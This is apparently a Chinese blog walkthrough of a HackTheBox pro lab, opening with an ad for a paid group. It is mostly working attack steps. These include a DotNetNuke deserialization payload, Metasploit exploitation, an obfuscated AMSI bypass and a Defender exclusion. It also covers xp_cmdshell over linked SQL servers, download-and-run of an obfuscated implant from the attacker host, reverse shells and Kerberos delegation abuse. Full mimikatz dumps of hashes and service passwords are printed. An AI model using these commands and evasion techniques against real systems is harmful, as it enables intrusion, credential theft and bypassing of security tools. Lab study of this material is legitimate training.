兄弟们开知识星球了,至于为什么开,嗯....我想赚钱,不想人前一套背后一套,没任何意义,但是我希望赚的钱对得起各位师傅进来花的钱,那就问心无愧了,杜绝噶韭菜!!!
介绍下目前的知识星球,目前在更新域相关文章,等写的差不多了再去写写免杀相关的,我不能保证每天一篇文章,我给大家的保证是每周2-3篇文章,绝对是自己学习过的东西,自己复现过的东西。
如下是目前更新的一些目录。
此外慢慢随着人数越来越多,文章越来越多,价格也会随着涨一些。
加入方式:
好啦让我们开始今天的主题吧。
HacktheBox-控制论
这个靶机总共28台机器以及25个flag,这里只打了拿了4个Flag,后面的是跟林相关的。
首先我们拿到一个网段: 10.10.110.0/24
首先我们使用nmap对其网段进行扫描。
我们将扫描前100个端口,因为端口太多的话可能会很耗时间。
第一个Flag
这里我们来介绍一下参数:
-Pn使用ping扫描,显式地关闭端口扫描,用于主机发现。
-n参数表示nmap将禁用DNS解析,直接使用ip地址扫描主机。
-F参数表示快速扫描端口。
-T4参数表示快速扫描。
-oA参数表示将其扫描的结果保存到10.10.110.0_24-tcp-100中。
nmap 10.10.110.0/24 -oA 10.10.110.0_24-tcp-100 -vv -Pn -n -F -T4
可以看到成功扫描出来了4个IP地址,分别是:
10.10.110.10
10.10.110.11
10.10.110.12
10.10.110.250
我们对这些ip地址进行逐个扫描。
nmap -sC -sV -A -T5 10.10.110.10 -Pn
nmap -sC -sV -A -T5 10.10.110.11 -Pn
nmap -sC -sV -A -T5 10.10.110.12 -Pn
nmap -sC -sV -A -T5 10.10.110.250 -Pn
如下扫描结果:
10.10.110.10:
可以看到开放了80端口和443端口,这两个端口我们等会去访问,因为有时候443和80端口可能搭载不同的业务。
并且识别出来了robost.txt文件,这个文件中有一些路径,我们一会可以使用dirsearch来进行扫描。
10.10.110.11:
可以看到开放了80端口和443端口以及目标的系统的windows server系统,并且爆出来一个域名为certenroll.cyber.local。
10.10.110.12:
开放了80端口和443端口以及目标系统为windows server 2016。
10.10.110.250:
现在让我们从第一台机器开始,访问web页面,找到robost.txt文件。
找到一堆访问的路径。
我们将这些路径复制下来,保存到txt文件中。
然后使用gobuster对其进行枚举路径。
gobuster dir -u http://10.10.110.10/ -w robots.txt
可以看到成功枚举出来了一些相关的路径。
我们也可以指定`/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
为字典。
gobuster dir -u http://10.10.110.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
访问admin目录可以发现有一个Dnn的标志,通过google查询发现是DotNetNuke。
关于DotNetNuke漏洞利用我们找到了如下文章:
https://github.com/murataydemir/CVE-2017-9822
根据文章我们可以生成一个payload。
.\ysoserial.exe -p DotNetNuke -m read_file -f C:\Windows\win.ini
请求包如下:
GET /_ HTTP/1.1
Host: 10.10.110.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Upgrade-Insecure-Requests: 1
可以看到成功读取到win.ini文件。
但是不知道为什么使用下面的脚本一直是404。
我们直接上MSF。
use exploit windows/http/dnn_cookie_deserialization_rce
需要设置几个参数,一个是Token,一个是IV。
这两个很好找,我们直接访问/admin路径。
其实说白了IV设置不设置都可以,一样可以反弹回来shell。
set rhost 10.10.110.10
set lhost 10.10.16.162
set lport 9001
set SESSION_TOKEN yb3-R2PXr4BV80ZVceOCAZrKcFg53AQENBV0qm3qrHq9RhJTPpqwRIDdQfAj4JYkuyt0yg2
可以看到成功反弹回来shell。
尝试getsystem权限,发现失败了。
我们来看下用户有没有什么特权。
SeImpersonatePrivilege是开着的,我们可以尝试使用烂土豆提权。
查看是否有杀软,可以看到是微软自己带的杀软。
但是....嗯。。我不知道为什么我再次去尝试getsystem提权的时候发现可以了。
就很纳闷。。。
查看特权,没问题。
我们查找flag,在c:\DotNetNuke目录下。
紧接着我们需要导出hash,这里的话因为有defender,但是我们有system权限,所以直接加排除项即可。
直接给他c盘加一个排除项。
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "c:\\"
需要注意的是一定要加排除项,要不然msf导入mimikatz模块会失败导致beacon会掉。
然后我们通过load mimikatz
加载即可。
最终使用lsa_dump_sam
导出即可。
Running as SYSTEM
Dumping SAM
Domain : CYWEBDW
SysKey : 6f9ec047e0cc2be91f5463aeb3189568
Local SID : S-1-5-21-974100046-684349727-4186098362
SAMKey : 7f23249058837880f70a9947d9f377f3
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 7574cbf9d92c39d1d4dccd7b89301d2f
Supplemental Credentials:
Primary:NTLM-Strong-NTOWF *
Random Value : dc982f326b5017e646efe1d5760d0f04
Primary:Kerberos-Newer-Keys *
Default Salt : ADMINIS-GL281LHAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : f3cd0f0ed222e7378931e8287386b53196631392024548d639d6b76b4ab9d761
aes128_hmac (4096) : 109316d3a8ea62d8e654d8534d3c8622
des_cbc_md5 (4096) : 432aa25eec1f97c1
OldCredentials
aes256_hmac (4096) : 407f19837353860d58c535aacd8d005f4fdb6b96b62f8322165fecb3c3079806
aes128_hmac (4096) : 068f6fcf2fc64585b19a05b9422367cc
des_cbc_md5 (4096) : 8fba4cb6166e2f8c
OlderCredentials
aes256_hmac (4096) : 2e9115dfd756f72a5fef3bdd1ba213a17448e410462081721cdef0cfde4beb16
aes128_hmac (4096) : 422895ede582fe5680cf2f16927596a8
des_cbc_md5 (4096) : 647a01f8626bbf9d
Packages *
NTLM-Strong-NTOWF
Primary:Kerberos *
Default Salt : ADMINIS-GL281LHAdministrator
Credentials
des_cbc_md5 : 432aa25eec1f97c1
OldCredentials
des_cbc_md5 : 8fba4cb6166e2f8c
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000001f8 (504)
User : WDAGUtilityAccount
第二个Flag
我们打开网络连接,发现有和1433端口通信的IP。
可以看到正在和10.9.20.11的1433端口进行通讯,那么也就证明了这个网站是站库分离的。
接下来下一步我们需要枚举MSSQL服务。
首先上传PowerUpSQL.ps1
工具。
upload /home/kali/Desktop/prolab-1/PowerUpSQL/PowerUpSQL.ps1 c:\\Windows\\System32\\inetsrv\\cs\\PowerUpSQL.ps1
我们来到shell切换到powershell,然后将PowerUpSQL.ps1导入进去。
import-module .\PowerUpSQL.ps1
然后使用Get-SqlServerLinkCrawl -Verbose
命令来获取MSSQL的连接信息。
可以看到账户是sa,数据库的连接是m3sqlw.m3c.local
然后我们尝试使用oSQL来开启xp_cmdshell。
oSQL这个工具只要你装了sqlserver数据库就会启用。
可以看到成功执行。
osql -E -S "CYWEBDW" -Q "EXECUTE('sp_configure''xp_cmdshell'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"
我们尝试执行whoami。
osql -E -S "CYWEBDW" -Q "EXECUTE('xp_cmdshell whoami') AT [m3sqlw.m3c.local];"
可以看到成功执行。
我们发现flag在c:\Users\svc_sql\Desktop
目录下。
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''dir c:\Users\svc_sql\Desktop''') AT [m3sqlw.m3c.local]"
直接使用type命令查询:
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''type c:\Users\svc_sql\Desktop\flag.txt''') AT [m3sqlw.m3c.local]"
得到flag:
Cyb3rN3t1C5{Sql$erv3rL!nkCr@wl}
第三个flag
我们现在需要上线这台机器方便操作,所以我们使用powershell对其进行上传我们的exe。
需要注意的是这里的端口一定要80端口,要不然通不了。。。在这卡了好久。
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.16.162/shell.exe -OutFile c:\users\public\documents\shell.exe''') AT [m3sqlw.m3c.local]"
但是不出所料,被干掉,被谁干掉了,被Defender。
所以我们需要去做免杀。
首先使用Havoc创建一个监听器,需要注意的是必须是80端口,别的端口数据库服务器不通。
当然你也可以使用MSF,MSF我没搞成功,有点恶心。
然后生成shellcode。
勾选这几个选项。
然后使用Harriet对shellcode进行混淆处理,文件下载可以直接github搜索。
然后我们将处理好的文件加上资源文件就可以过defender了。
最后使用osql工具将我们处理好的木马文件下载到目标上。
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.16.116:80/Hollowing.exe -OutFile c:\users\public\documents\Hollowing.exe ''') AT [m3sqlw.m3c.local]"
最后使用osql调用cmd /c去执行即可。
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''cmd /c c:\users\public\documents\Hollowing.exe''') AT [m3sqlw.m3c.local]"
可以看到成功上线了。
可以看到上线的ip是10.10.110.250。
这里最大的坑就是只能和80端口通讯,其他端口一律不行。
然后我们使用ipconfig /all
发现dns指向的是m3c.local。
我们现在需要进行提权相关的操作,那么提权的话你的exe肯定要过defender的,所以这里推荐使用一个工具很简单也很方便。名字叫:yetAnotherObfuscator
github下载地址:
https://github.com/0xb11a1/yetAnotherObfuscator
使用这个工具将exe路径放到里面就行了,然后生成完成之后,使用Resource Hacker对其打一个资源文件就可以了,需要注意的是将version info删除掉。
然后上传就可以过defender了。
但是还是提不了权限,所以我们转战MSF,使用msf生成shellcode。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.116 lport=80 -f bin -o shell.bin
然后使用老表的免杀,上线到MSF上。使用getsystem
提权即可。
执行osql语句执行exe。
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''cmd /c c:\users\public\documents\Hollowing.exe''') AT [m3sqlw.m3c.local]"
成功提权至system权限。
导出Hash。
load mimikatz
lsa_dump_secrets
成功获取svc_sql账户的密码。 密码为:ef8Mahvae2j1
[+] Running as SYSTEM
[*] Dumping LSA secrets
Domain : M3SQLW
SysKey : 2aa1b3c2027d47c1a8432f8d2e455268
Local name : M3SQLW ( S-1-5-21-907414912-929592110-1210139672 )
Domain name : M3C ( S-1-5-21-340507432-2615605230-720798708 )
Domain FQDN : m3c.local
Policy subsystem is : 1.14
LSA Key(s) : 1, default {13862413-3e9e-314e-3ffe-87be71ec6dab}
[00] {13862413-3e9e-314e-3ffe-87be71ec6dab} 2095110512fc746cf6f75d936ff9f45846381604debfbe028652318bcf5258df
Secret : $MACHINE.ACC
cur/text: @fidTp((zLz,Vrz)[N@><$>wT$8#NZ`(LTL@Y]`5t:R.y96l6X+3YULRu=D_C2<<,p\:@w*v+DHSR3`ehM#(q8mFd7;M/r%4*OtSPntsp6K9@bOK1_gqkPEu
NTLM:a09cbeb5c0e16d1e926c5b3d884949a4
SHA1:bc21fb144077f2ff12614f3fcfab3a1afb1441dd
old/text: @fidTp((zLz,Vrz)[N@><$>wT$8#NZ`(LTL@Y]`5t:R.y96l6X+3YULRu=D_C2<<,p\:@w*v+DHSR3`ehM#(q8mFd7;M/r%4*OtSPntsp6K9@bOK1_gqkPEu
NTLM:a09cbeb5c0e16d1e926c5b3d884949a4
SHA1:bc21fb144077f2ff12614f3fcfab3a1afb1441dd
Secret : DefaultPasswordERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO
old/text: 6IVx7cxECM6m57WVjrqfH1gvluKnvN
Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 42 46 de 32 5d f1 1b 03 5c 75 ae 38 55 b4 35 de 60 d1 8c d7 75 bd 3f f4 aa 4d 5c 2e e4 69 4a 2d 43 b7 d8 af 2c 6d 78 a7
full: 4246de325df11b035c75ae3855b435de60d18cd775bd3ff4aa4d5c2ee4694a2d43b7d8af2c6d78a7
m/u : 4246de325df11b035c75ae3855b435de60d18cd7 / 75bd3ff4aa4d5c2ee4694a2d43b7d8af2c6d78a7
old/hex : 01 00 00 00 0c 00 62 f2 11 9b c5 7d 9f 23 74 f3 34 09 e2 ce 39 1d dc 9f a8 d0 d0 0a b7 72 2e 4a b7 d5 94 23 e0 ea 99 03 29 6b ed 63
full: 0c0062f2119bc57d9f2374f33409e2ce391ddc9fa8d0d00ab7722e4ab7d59423e0ea9903296bed63
m/u : 0c0062f2119bc57d9f2374f33409e2ce391ddc9f / a8d0d00ab7722e4ab7d59423e0ea9903296bed63
Secret : NL$KM
cur/hex : d8 33 7f 7b a3 2c de 15 cf b4 9a 10 37 3f 6b a9 4e 49 46 70 57 27 e8 1e e8 a9 11 a8 1d ef 19 0c cc 43 92 f3 9c c7 51 1a 06 56 6d 60 da 73 22 74 81 ec b4 9f 69 fc 6a 8a c8 52 e6 f5 03 56 0d 59
old/hex : d8 33 7f 7b a3 2c de 15 cf b4 9a 10 37 3f 6b a9 4e 49 46 70 57 27 e8 1e e8 a9 11 a8 1d ef 19 0c cc 43 92 f3 9c c7 51 1a 06 56 6d 60 da 73 22 74 81 ec b4 9f 69 fc 6a 8a c8 52 e6 f5 03 56 0d 59
Secret : _SC_MSSQL$SQLEXPRESS / service 'MSSQL$SQLEXPRESS' with username : m3c.local\svc_sql
cur/text: ef8Mahvae2j1
Secret : _SC_SQLTELEMETRY$SQLEXPRESS / service 'SQLTELEMETRY$SQLEXPRESS' with username : NT Service\SQLTELEMETRY$SQLEXPRESS
现在我们已经拿到了服务账户,一般服务账户的话我们都会查看是否存在委派。
那么我们将上传powerview.ps1
来进行查询约束性委派。
上传之后切换到powershell然后导入会发现被AMSI禁止了,所以我们需要绕过。
绕过方式如下:
$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
$f.SetValue($null,$true)
执行完如上命令之后,我们就可以正常导入powerview.ps1
了。
import-module .\Powerview.ps1
导入之后使用Get-DomainUser
查看那些账户存在约束性委派。
Get-DomainUser -TrustedToAuth -Domain m3c.local | select name,msds-allowedtodelegateto
可以看到svc_sql设置了约束性委派。
可以看到svc_sql账户对m3webaw这个机器有着约束性委派的权限,
首先我们获取到DC的ip:
Get-NetDomainController
可以看到DC的ip是10.9.20.10。
我们也可以使用impacket-GetUserSPNs
来枚举SPN。
xxxxxxxxxx proxychains4 impacket-GetUserSPNs m3c.local/svc_sql:ef8Mahvae2j1 -dc-host 10.9.20.10
可以看到有两个账户,一个是svc_sql,另外一个是svc_apache
接下来我们尝试去申请票据,这里伪造的账户是svc_apache,其实是伪造不成功的。
python3 getST.py -dc-ip 10.9.20.10 -spn time/m3webaw.m3c.local -impersonate svc_apache relaysec.com/svc_sql:ef8Mahvae2j1
我们可以尝试使用psexec
访问,但是。。。嗯... 对外不开放445。
那么我们现在使用Rubeus.exe
来进行申请票据访问。
但是在这之前我们需要看一下Bloodhound,在实战中也是一样的,如果你模拟的账户没有在远程组中或者Winrm组中,那么你模拟之后去访问的时候是无法访问的。
就比如说有一个WINRM 的GPO应用到了Server Admins
组中,我们必须模拟Server Admins
组中的用户获取的票据,才可以通过winrm去访问我们的目标服务。
我们在BloodHound中得知我们的机器M3WEBAW.M3C.LOCAL在WEB SERVERS组中,而SERVER WINRM MGMT GPO引用到了WEB SERVERS组中。
我们可以通过配置文件得知。
type \\m3c.local\sysvol\m3c.local\Policies\{11D18024-2D64-4CE7-8479-B41B164B7DAB}\machine\preferences\groups\groups.xml
可以看到WINRM GPO应用到了Remote Management和Server Admins组中。
那么也就是说我们需要枚举出来Server Admins组中的用户,然后去模拟它请求服务即可。
首先我们通过powerview
去查询server admins
中的用户。
get-domaingroup "server admins" | select -expandproperty member
可以看到成功查询出来这些账户。
现在我们将查询那些账户登录的次数是最多的。
get-domainuser | select cn,logoncount
可以看到Micheal Crosley账户登录了6次。
那么我们就以这个账户来申请票据。
需要注意的是如下操作都是在svc_sql这个账户下运行的,不能以system权限去运行的。
首先请求TGT。
.\Rubeus.exe tgtdeleg
获取到TGT之后,我们就可以发送s4u的请求了。
这里几个参数很简单和getst.py
是一样的。
.\Rubeus.exe s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA62T8gjfh1tUTrMwB2ug3Ho492wbX5n8XYXXyVZHoYtLLJygneA397Btc772wrsVmp6SP6trUuigbW0inLQ2GuA28XwcdGUHpHJ5/udYH6noo6afsF1hyUh+lx6qHNuc924x35CKfV/6RXIDYKgoZtiJOwe5L9s486iqwbE2eHrGitKPOmpQQt2eqr75zuKFPLGjTa9cNmvhCatM+RtRGNgSzGLUMS08M97o3FyxcMadnUieYwoimNfi8dsgwhu8TRnI2dj1RNqlIw/WPkJI8upG6TW2OvKIbXHsK89HXln+FdRO8C6i9eMVgFgV4PL7aboCAlg6dIdJmQTlC5ugFr9+6AzkLxmt+P2qHkMrBKfUm4Qd+A1i7r8ncy339lmoXIJUrtKkn9Tc741ztI9CJu2OSIOssZvM408k+qI12zkmsVWfMZWKQfz0oo1Pl2cOslujsjyihnA7OTUzDDYwj8TMA/1Ial3Spe9TzzkuHUDFhrUD4PQsaW7aEhgdat7BvSu3m7CIn+64+oEss/NLJeZRT2iNnVq5pBmNBi6UW+Hq+OIC+7gmIs1Jff583EsWXzYV6Vxh99AGeiZxp+3jt3Wld5H0PeJdawgWZOvre6YS/bdbSxaT7jwThBr94D2iTMb5ENGJFrxbTj+SvbBwjl6kNHRoNKtc+EwxXBs5eqo5jd+XuUSONFdWKoCPQvGCpFU6QMP6j/PX3wxY8xUOUyQdDH+PC+gJ3GtCWrgBv0oZKTq1Zpmkai9GZfWekpwKhx24qJiX40BDJ/55+g1kN637ezsqOuPbAqdoCRwRaYmWpcA75ZmEknB2XI58ogLr6KC4b7W2EQGQZ1rq0HuOuQsLZzoDoplTLcs/bjnc3ikc1EdoXEOiwROqnPorpZqpZjKJ5plDmt5Xd5pkKTNd2hzlIAAsUBM/6Jz+vHlRZsMxm5DWeXBxEUuRV9/7ek23G5nrma9WqpqSglcYEpsHT1mmI4MzRTLqd2VEu1ybj7J1F4NlLi57OZ63+xpM5RetV9EoFep1rQRcnPo7Czb68CeA4ZE2qV5X2c55nUkgu9Cbwy/OzLGdGJkQ80RsvmP8/gkJ7NFCLiFSoA2e+UTBKH8MV3dALApwHSoB+qw/3jm3iqP8tUB9JYHKvi9fZRsBXTLjY1RFVmWr4ogW5fjRYLy3RkiUSvdqUIfw6HKKkgLUs4CLg8J1Ca5RtgBktpZ7I6/OUkuynfRjELoVhwhpxSDgcBRg+7J7j5Hs/2qVdaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIEvozL7CyGRYztUHGzgUuxJocjOVdAozLZeSLQX+UETcoQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNDAzMDExNTQ2MTlaphEYDzIwMjQwMzAyMDAzMDAyWqcRGA8yMDI0MDMwODE0MzAwMlqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw= /impersonateuser:Micheal.Crosley /domain:m3c.local /msdsspn:"time/m3webaw" /altservice:http /ptt
申请成功之后查看klsit。
可以看到已成功获取到了票据。
然后我们创建一个session会话就可以执行命令了。
$session = new-pssession -computername m3webaw
invoke-command $session {whoami}
第三个flag在这里。
invoke-command $session {type C:\activemq\conf\jetty-realm.properties } invoke-command $session {type C:\activemq\conf\jetty-realm.properties }
第四个Flag
现在我们要上线到MSF上,还是使用之前的木马。监听的还是80端口。
invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.16.116:80/Hollowing.exe -OutFile c:\Windows\\Temp\\Hollowing.exe}
下载完成之后我们去执行。
invoke-command $session {cd 'c:\\Windows\\Temp'; cmd /c .\Hollowing.exe}
然后这里就会收到一个session。
查看它的特权,发现少的可怜。。。
我们在conf目录中找到一些账号和密码。
type credentials.properties
我们查看网络连接。
可以发现监听了616116端口,这个端口是Activemq的默认端口,还有一个端口是8161端口,这个端口我们来看下进程中跑的是什么服务。
8161端口对应的PID是4132,所以我们可以尝试使用takslist /svc
来找到PID。
但是会发现直接拒绝访问了。
所以我们只好使用msf的ps命令来进行查找了。
可以看到跑的是java的进程。
我们现在需要找到activeMQ的密码,activeMQ使用的是jettyu服务器,我们可以打开conf/jetty.xml文件来查看配置。
我们会发现authenticate属性的值设置为了true,这表示控制台的密码将保存在/conf/jetty-realm.properties文件中,如果为false的话那么将不会弹出账号和密码的要求。
我们在这个配置文件中也可以看到它所使用的端口。
现在我们去/conf/jetty-realm.properties文件中获取到密码。
可以看到有一个账号和密码,还有就是flag,这个flag就是我们拿到的第三个flag。
admin: 3f18DV^t!svBV4ntcrLRTWi2XaMCDK, admin
$_!n_fil3s} Cyb3rN3t1C5{CR3d
现在我们已经拿到了账号和密码,使用MSF做一个socks5代理即可。这里自行百度,因为很简单。
这里可以看到已经请求到了。
proxychains4 curl 10.9.20.12:8161
现在我们使用MSF生成一个JSP的木马,然后使用它来反弹shell。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.116 LPORT=80 -f jsp -o shell.jsp
然后我们将文件copy到目标的admin目录中,因为这是它网站的跟目录。
如下图:
现在将文件上传上去。
upload /home/kali/Desktop/bl/shell.jsp c:\\ActiveMQ\\webapps\\admin
然后我们挂上浏览器的代理。
这里需要选择socks5,然后就是你的ip和端口了。
需要注意的是一定要将http和https代理给他删掉。
最后我们直接访问,可以看到访问成功。
但是我们会发现是上线不了的,可能是我生成的jsp有点问题。
我们换一种思路,我们使用jsp去执行我们上传的exe就可以。
如下jsp:
<%@ page import="java.io.*" %>
<%
try {
Process p =
Runtime.getRuntime().exec("cmd /c c:\\ActiveMQ\\webapps\\admin\\Hollowing.exe");
}
catch(IOException e) {
e.printStackTrace();
}
%>
然后我们将Hollowing.exe上传到c:\ActiveMQ\webapps\admin\目录下就可以了,然后再将我们的jsp文件上传去这个目录下,然后访问就可以反弹回来shell了。
现在我们已经有了svc_apache这个账户。
查看特权,没问题,我们直接使用getsystem进行提权。
可以看到成功提权。
然后我们将hash全部dump出来当作备用。
在这之前需要给c盘加一个排除项。
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "c:\\"
然后去加载mimikatz即可。
如下我们获取到了svc_apache账号的密码为ef8Mahvae2j2
Domain : M3WEBAW
SysKey : 0f5d7a9467c2546531be511c099466af
Local name : M3WEBAW ( S-1-5-21-4257818120-2842902664-1367163224 )
Domain name : M3C ( S-1-5-21-340507432-2615605230-720798708 )
Domain FQDN : m3c.local
Policy subsystem is : 1.18
LSA Key(s) : 1, default {f6ff3cee-589f-54f8-c470-7b1b881f5ba4}
[00] {f6ff3cee-589f-54f8-c470-7b1b881f5ba4} ee5f029f715830d4c22d82a6839fc4ecbe04ceb988683d3da5d8a0b27068c9e9
Secret : $MACHINE.ACC
cur/text: R++2=M#ai!6s"54 5$X'"11"=KIppV+xk0UQvm-nA'#O T"mQaM6@8<'mWq4W4gws1Hsn[T0hzn16`!+F)wY/o[WQK/;lG`Zas]pK*uEC?:JfxR^U8QliS [
NTLM:2e61a0e49c4724aebfd2878d1e612518
SHA1:c698a14e684b6d4e787edaaf9949ee8594623028
old/text: R++2=M#ai!6s"54 5$X'"11"=KIppV+xk0UQvm-nA'#O T"mQaM6@8<'mWq4W4gws1Hsn[T0hzn16`!+F)wY/o[WQK/;lG`Zas]pK*uEC?:JfxR^U8QliS [
NTLM:2e61a0e49c4724aebfd2878d1e612518
SHA1:c698a14e684b6d4e787edaaf9949ee8594623028
Secret : DefaultPasswordERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO
old/text: 6IVx7cxECM6m57WVjrqfH1gvluKnvN
Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 af 5e 76 30 7e 3d c5 fe 25 3e 42 1e 97 2e cc ce 13 9d b4 92 19 7c 9b f3 38 3b f4 e4 c4 ff 85 22 cd ea 06 43 79 ae fd 87
full: af5e76307e3dc5fe253e421e972eccce139db492197c9bf3383bf4e4c4ff8522cdea064379aefd87
m/u : af5e76307e3dc5fe253e421e972eccce139db492 / 197c9bf3383bf4e4c4ff8522cdea064379aefd87
old/hex : 01 00 00 00 2f 59 05 b8 05 d0 98 a6 80 32 79 0c e7 66 88 27 c3 8c 1b d8 05 82 23 cf 64 4a 39 c1 3b f2 2b 6f 5b 58 aa 07 aa eb b8 9b
full: 2f5905b805d098a68032790ce7668827c38c1bd8058223cf644a39c13bf22b6f5b58aa07aaebb89b
m/u : 2f5905b805d098a68032790ce7668827c38c1bd8 / 058223cf644a39c13bf22b6f5b58aa07aaebb89b
Secret : NL$KM
cur/hex : 26 cf be 34 e8 89 95 fd 6d 9b d7 be 32 fd 72 3c 78 c4 81 ec ff 96 71 f8 c3 5c 38 e5 1b 86 49 d8 4a 78 8d fd 45 d4 5b de 6f 95 34 b2 e3 7e 78 99 9c 54 89 69 41 5a ea b3 4c 60 95 ad e9 0c e9 35
old/hex : 26 cf be 34 e8 89 95 fd 6d 9b d7 be 32 fd 72 3c 78 c4 81 ec ff 96 71 f8 c3 5c 38 e5 1b 86 49 d8 4a 78 8d fd 45 d4 5b de 6f 95 34 b2 e3 7e 78 99 9c 54 89 69 41 5a ea b3 4c 60 95 ad e9 0c e9 35
Secret : _SC_ActiveMQ / service 'ActiveMQ' with username : m3c.local\svc_apache
cur/text: ef8Mahvae2j2
获取到svc_apache账号之后,这个账号对M3DC$这台机器有着GenericWrite的权限。
需要注意的是SVC_APACHE作为服务账户肯定是有SPN的,所以也满足我们进行基于约束性委派攻击的条件。
如果我们没有服务账户的话,那么完全可以自己创建一个机器账户,只要你拿到的账户对某台机器有着GenericAll,GenericWrite,WriteProperty,WriteDacl等等权限,可以更改目标机器属性的都可以。
我们这里先本地测一下。
首先我们将hack这个账户给DC添加一个ACL,写入全部属性和读取全部属性。
然后我们在Bloodhound中肯定可以看到hack这个账户对DC这台机器有着GenericWrite的权限。
如上图有没有一种感觉和上面的靶机是一样的。
然后我们使用powerview来设置hack这个服务账户对DC这台机器的基于资源的约束性委派。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3708176772-1742723060-3616893896-1123)" //这里的sid是hack用户的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
需要注意的是sid可以通过whoami /all来进行获取,而最后一条就是给DC设置基于资源的约束性委派。
设置完成之后,我们可以使用如下来进行查询
Get-DomainComputer DC -Properties msds-allowedtoactonbehalfofotheridentity
然后我们就可以使用Rubeus来申请白银票据访问了。
因为Rubeus不能使用明文密码,所以我们需要将hack用户转换为hash。
Rubeus.exe hash /user:hack /password:Admin123.. /domain:relaysec.com
提取里面的rc4,然后使用Rubeus来申请白银票据即可。
Rubeus.exe s4u /user:hack /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/DC /ptt
如上图可以看到成功申请到票据并导入。
然后我们klist来查看一下票据。
最后使用dir进行访问。
dir \\dc\c$
成功访问。
如上是一种方式,还有另一种方式,我们可以直接可以使用Rubues来申请TGT,然后发送S4u请求来伪造cifs服务。
.\Rubeus.exe tgtdeleg
然后伪造任意用户去访问cifs服务。
